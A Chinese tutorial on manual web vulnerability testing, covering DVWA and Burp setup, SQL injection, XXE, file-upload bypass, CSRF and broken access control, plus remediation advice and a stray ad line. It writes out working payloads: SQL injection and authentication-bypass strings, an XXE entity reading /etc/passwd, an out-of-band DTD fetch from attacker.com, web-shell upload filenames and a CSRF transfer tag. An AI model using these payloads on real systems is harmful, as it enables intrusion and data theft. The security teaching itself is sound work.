1. 为什么Web漏洞检测是安全从业者的必修课
去年处理过一个企业数据泄露事件,攻击者仅用一条精心构造的SQL语句就绕过了前端验证,直接拖走了整个用户数据库。当我查看服务器日志时,发现攻击payload明显到刺眼——这种程度的漏洞本应在开发阶段就被发现。这个案例让我深刻意识到,漏洞检测不是安全专家的专利,而是所有接触代码的人都该掌握的生存技能。
Web漏洞检测本质上是在模拟攻击者的思维方式。与渗透测试不同,它更注重系统性地验证常见漏洞模式。比如SQL注入检测不是简单地扔几个单引号,而是需要理解应用程序如何处理用户输入,以及这些输入最终如何与数据库交互。真正的漏洞猎人会像法医一样,通过异常响应、报错信息甚至页面加载时间的细微差异来定位问题。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 手工检测环境搭建要点
2.1 靶场选择与配置
DVWA(Damn Vulnerable Web Application)是我最推荐的实验环境,它的漏洞场景设计非常贴近真实业务。安装时注意两点:一是务必使用PHP 5.x版本(新版本会导致部分漏洞无法复现),二是在config目录下将安全等级设为"low"(初始练习需要关闭防护)。
对于特定框架的漏洞研究,建议部署对应的历史版本。比如要复现ThinkPHP5的SQL注入,就需要专门搭建5.0.24以下版本的环境。这里有个小技巧:使用Docker的版本回退功能可以快速切换不同环境。
2.2 必备工具链配置
Burp Suite社区版足够完成基础检测,但需要手动配置上游代理。在火狐浏览器中设置代理为127.0.0.1:8080后,记得安装PortSwigger的CA证书,否则无法拦截HTTPS流量。我习惯把Repeater和Intruder模块固定为独立窗口,这样在多漏洞检测时可以并行操作。
手工检测时最常用的浏览器插件是HackBar(用于快速构造payload)和Wappalyzer(识别后端技术)。有个容易忽略的细节:Chrome的无痕模式会禁用部分插件功能,测试时建议使用常规窗口。
3. 五大核心漏洞检测实战
3.1 SQL注入的深度检测手法
大多数教程只教大家用单引号触发报错,但实战中需要更系统的检测流程:
- 数字型注入检测:在参数后追加
and 1=1和and 1=2,观察页面内容差异 - 字符串型注入检测:尝试
'、"、\'等闭合符号,结合--注释符 - 时间盲注验证:使用
if(now()=sysdate(),sleep(5),0)等条件语句 - 报错注入利用:通过
updatexml()或extractvalue()函数触发错误回显
最近遇到个典型案例:某登录表单的用户名参数过滤了单引号,但密码字段却存在注入。最终通过admin'-- 绕过认证后,在密码框用' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()-- 成功脱库。
3.2 XXE漏洞的隐藏入口挖掘
除了常见的XML文件上传,这些地方也容易存在XXE:
- Excel文件解析(实际是压缩的XML)
- SVG图片处理
- SOAP API请求
- PDF生成功能
检测时先尝试外部实体引用:
xml复制<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<foo>&xxe;</foo>
如果无回显,可以用DNS外带数据:
xml复制<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
%dtd;
去年审计某OA系统时,发现其Word导入功能存在XXE。通过构造包含外部实体的docx文件,最终读取到了服务器上的Nginx配置。
3.3 文件上传漏洞的进阶利用
突破上传限制的六种姿势:
- 双扩展名绕过:shell.php.jpg
- 大小写混淆:sHell.PhP
- 空格结尾:shell.php
- NULL字节截断:shell.php%00.jpg
- MIME类型伪造:Content-Type: image/png
- 图片马注入:通过edjpgcom在图片中插入PHP代码
关键检测步骤:
- 上传正常图片确认功能可用
- 尝试修改Content-Type头
- 测试各种截断手法
- 检查返回的存储路径是否可预测
某次攻防演练中,我们发现目标系统虽然校验了扩展名,但存储时直接使用了用户提供的文件名。通过上传../../../var/www/html/shell.php,成功实现目录穿越。
3.4 CSRF的精准检测方法
检测CSRF需要关注三个维度:
- 关键操作(密码修改、转账等)是否缺少Token验证
- Cookie的SameSite属性设置
- Referer检查是否可被绕过
手工测试时,用Burp生成POC模板后,需要移除所有非必要头部字段。曾遇到过一个案例:系统检查了Referer但没验证Host头,通过<img src="http://victim.com/transfer?to=attacker&amount=1000000">就完成了攻击。
3.5 越权访问的横向渗透技巧
水平越权检测流程:
- 注册两个测试账号A和B
- 用A访问私有数据(如订单详情页)
- 记录请求中的ID参数
- 用B的会话尝试访问A的ID
垂直越权更危险,要特别注意:
- 普通用户能否访问/admin路径
- 修改Cookie中的role=admin等字段
- JWT令牌中的权限声明
在某次审计中,我们发现通过将GET改为POST请求,可以绕过前端的路由权限控制。这种设计缺陷往往比代码漏洞更难发现。
4. 漏洞修复的黄金准则
4.1 SQL注入防御实践
参数化查询不是万能药,要注意:
- PDO需要设置ERRMODE为EXCEPTION
- MyBatis的$和#区别
- 存储过程中也可能存在动态SQL
某金融系统曾出现过这样的错误案例:
java复制String sql = "SELECT * FROM accounts WHERE owner = ?";
PreparedStatement stmt = conn.prepareStatement(sql);
stmt.setString(1, request.getParameter("user")); // 看似安全
stmt.executeQuery();
问题出在后续的ORDER BY子句拼接,依然导致了注入。
4.2 文件上传的安全设计
推荐的三层防御体系:
- 白名单校验扩展名(注意区分image/jpeg和image/pjpeg)
- 文件头魔数检测(GIF应为47 49 46 38)
- 重命名存储(MD5(filename + timestamp))
特别提醒:PHP的GD库处理图片时会自动去除脚本代码的说法是误区,实际测试发现某些变形payload仍能保留。
5. 从漏洞检测到漏洞挖掘的进阶之路
当你能熟练检测常见漏洞后,可以尝试这些进阶方向:
- 框架特性漏洞挖掘(如Spring的SpEL注入)
- 业务逻辑漏洞设计(如优惠券并发请求)
- 中间件0day研究(从版本差异找突破点)
建议建立自己的漏洞模式库,记录每种漏洞的:
- 触发条件
- 利用限制
- 修复方案
- 变体案例
我习惯用Markdown文档配合RequestBin收集的样例请求,形成可检索的知识体系。当遇到新系统时,快速匹配已知模式能极大提升检测效率。
